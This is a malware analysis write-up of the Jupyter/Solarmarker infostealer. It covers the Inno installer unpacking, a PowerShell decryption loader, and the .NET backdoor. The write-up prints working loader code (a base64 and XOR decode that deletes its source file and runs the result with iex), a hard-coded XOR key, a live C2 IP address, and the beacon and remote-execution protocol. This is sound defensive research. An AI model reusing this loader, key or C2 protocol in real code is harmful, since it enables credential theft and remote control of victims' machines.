Jupyter Infostealer
Analysis of Juptyer Infostealer / Solarmarker Backdoor
Overview
Packed sample: ee904ce81c66b774897f93b0301e297a9137295516d57ba1c4e078a383cbce39
The sample is too big for Malshare raw but we zipped it and uploaded it, the password is infected
Malshare Zip Sample.
This is also known by some other names: Jupyter, Polazert, solarmarker, YellowCockatoo
References:
Unpacking Inno - Stage 1
Tools
-
Inno Extractor (
950208c1b7d4d901ca7b942f98214098dc91480cc70af1af12b2291544eb761f
) -
Inno Setup Decompiler (Pascal Decompiler) (
602e0a4e1efaff739ee308da7fd4c4b5ca3aa6d0640f47ef74b0d445f968301b
) -
DirWatch (
031e8f61f1501a76015d3add269663172abc648973032dcff4e758effa66b235
)
Behaviour
- Inno installer drops and executes a benign file to attempt to look legitimate
Docx2Rtf.exe
(caf8e546f8c6ce56009d28b96c4c8229561d10a6dd89d12be30fa9021b1ce2f4
) - The Inno compile Pascal script is used for the malicious install
- The script drop two
.txt
files in%TEMP%
with random names - One file is executed 9 times with PowerShell and is used to decrypt and launch the second file, which is also PowerShell
Manual Extraction
- Use Inno Extractor to extract all files from the Inno installer
- Use Inno Setup Decompiler to decompile the extracted
CompiledCode.bin
file - Use DirWatch to monitor
%temp%
directory with "auto save" option eabled - Grab the two
.txt
PowerShell files that were dropped in%temp%
- These are Stage 2
The PowerShell code below is used to decrypt the 2nd .txt
PowerShell file
;
$xk=''szikwYdJyBvQLWRAeNXPGaxEObVolScHnrKtqhMpfDjTIUgFuCmZ'';
$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));
remove-item $p;
for($i=0;$i -lt $xb.count;){
for($j=0;$j -lt $xk.length;$j++){
$xb[$i]=$xb[$i] -bxor $xk[$j];
$i++;
if($i -ge $xb.count){$j=$xk.length}
}
};
$xb=[System.Text.Encoding]::UTF8.GetString($xb);
iex $xb;
Stage 2 - PowerShell Deobfuscation
The 2nd stage PowerShell file is Base64 encoded and encrypted with a hard-coded XOR key (found in the first PowerShell script). Once decrypted the script is used to decrypt and reflectivly load a .NET assembly into it's own proccess memory.
Manual Extraction
Instead of attempting to maually decode the PowerShell we can take advantage of the fact that it relfectivly loads a .NET assembly to simply dump the assembly out of the process.
- Run the malware and watch the process tree with ProcessHacker
- When the PowerShell process executes suspend it (there are 9, just grab the one that stays running)
- Use ExtreamDumper to dump the .NET assembly out of the PowerShell process
Stage 3 - .NET Assembly
Config
ver = "DR/1.1";
xorkey = "FVdXLbjs0Rwxsz9CrFh0pSot6Gijigf8t56R";
addr = "http://91.241.19.21"
Hardware ID
The hardware ID is stored in %userprofile%\\AppData\\Roaming\\solarmarker.dat
and is just a random string.
C2 Traffic
C2 traffic is encrypted using the xorkey from the hard coded config, then base64 encoded.
Command: ping
{
"action":"ping",
"hwid":hwid,
"pc_name":M.GetComputerName(),
"os_name":M.GetWinVersion(),
"arch":M.Is64x()?"x64":"x86",
"rights":M.IsAdmin()?"Admin":"User",
"version":ldrConfig.ver,
"workgroup":M.GetWorkGroup()|M.WMI("win32_computersystem","domain"),
"dns":(M.WMI("win32_computersystem","partofdomain").ToLower()=="false")?"0":"1",
"protocol_version":1
}
The C2 can a command via the status
var in the response json. The status can be either exe
, ps1
, or command
.
Status: EXE and PS1
The C2 can send down a stage4 payload that is either a PS1 or an EXE. For PS1 they create a file in %TEMP% and execute it with PowerShell just like the Stage 1 loader. If it's an EXE they drop it in the %TEMP% and execute it directly.
Status: Command
The C2 can send a PowerShell command that is directly executed.